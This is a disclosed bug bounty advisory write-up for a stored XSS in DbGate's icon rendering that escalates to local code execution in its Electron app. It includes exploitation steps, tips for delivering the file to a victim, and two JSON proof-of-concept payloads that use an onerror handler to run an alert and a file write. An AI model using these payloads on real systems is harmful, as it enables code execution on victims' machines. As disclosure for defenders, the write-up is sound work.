# dbgate-web: Stored XSS in applicationIcon leads to potential RCE in Electron due to unsafe renderer configuration

Stored XSS via unsanitized applicationIcon SVG in DbGate's FontIcon sink escalates to local code execution in Electron with nodeIntegration enabled.

- Payout: Research
- Severity: high
- Program: DbGate
- Found by: ngocnn97
- Disclosed: 2026-04-01
- CVE: CVE-2026-34725
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-35xm-qvjg-8m42
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-35xm-qvjg-8m42
- Tags: area:os domain:desktop domain:web impact:ato impact:rce kind:research platform:ghsa sev:high tech:electron technique:chained technique:source-review vuln:rce vuln:xss

**Target:** DbGate web UI and Electron desktop app icon rendering (FontIcon.svelte, apps.js)
**Root cause:** FontIcon.svelte treats any icon string starting with `<svg` as inline SVG and renders it via `{@html iconValue}` without sanitization; apps.js returns attacker-controlled applicationIcon unchanged. Electron runs with nodeIntegration:true and contextIsolation:false.
**Steps:**
1. Create an app definition JSON with applicationIcon containing `<svg ...></svg><img src=x onerror="alert('xss-fired')">` and usageRules matching a visible database (e.g. serverHostsList:["postgres"], databaseNamesList:["dbgate"])
2. Save/import the app definition into DbGate's apps storage
3. Open the UI view where the matching database/app icon renders
4. FontIcon detects the `<svg` prefix and renders via `{@html}`, executing the onerror handler
5. For Electron RCE, use payload `require('fs').writeFileSync(require('path').join(process.cwd(),'xss-rce-poc.txt'),'poc')` in onerror and have victim import the file
**How found:** Code review of the icon rendering path: FontIcon.svelte's `{@html iconValue}` on strings starting with `<svg`, traced back through AppObjectCore/DatabaseAppObject to apps.js returning applicationIcon unsanitized, then noted Electron's unsafe renderer config.
**Exploitation:** Attacker crafts an application definition JSON with malicious applicationIcon and broad usageRules (serverHostsRegex/databaseNamesRegex `.*`), delivers it to the victim who imports/saves it into DbGate apps storage; DbGate loads it via apps/get-all-apps and renders the icon, executing JS in the victim's session. In Electron, nodeIntegration:true lets the payload call require() to write files locally.
**Escalation:** Web XSS escalates to local code execution in Electron desktop because nodeIntegration:true and contextIsolation:false expose Node APIs to the renderer.
**Insight:** Icon/avatar rendering paths that special-case markup prefixes (like `<svg`) and pass through `{@html}` are reliable stored-XSS sinks; check whether the same sink reaches an Electron renderer with nodeIntegration enabled to upgrade XSS to RCE.

## Proof of concept (copied exactly from the original report)

**Malicious app definition JSON with XSS icon**

```
{
  "applicationName": "XSS PoC",
  "applicationIcon": "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"18\" height=\"18\"><circle cx=\"9\" cy=\"9\" r=\"8\" fill=\"red\"/></svg><img src=x onerror=\"alert('xss-fired')\">",
  "usageRules": [
    {
      "serverHostsList": ["postgres"],
      "databaseNamesList": ["dbgate"]
    }
  ]
}
```

**Electron RCE payload writing marker file**

```
{
  "applicationName": "XSS PoC",
  "applicationIcon": "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"18\" height=\"18\"><circle cx=\"9\" cy=\"9\" r=\"8\" fill=\"red\"/></svg><img src=x onerror=\"require('fs').writeFileSync(require('path').join(process.cwd(),'xss-rce-poc.txt'),'poc')\">",
  "usageRules": [
    {
      "serverHostsRegex": ".*",
      "databaseNamesRegex": ".*"
    }
  ]
}
```

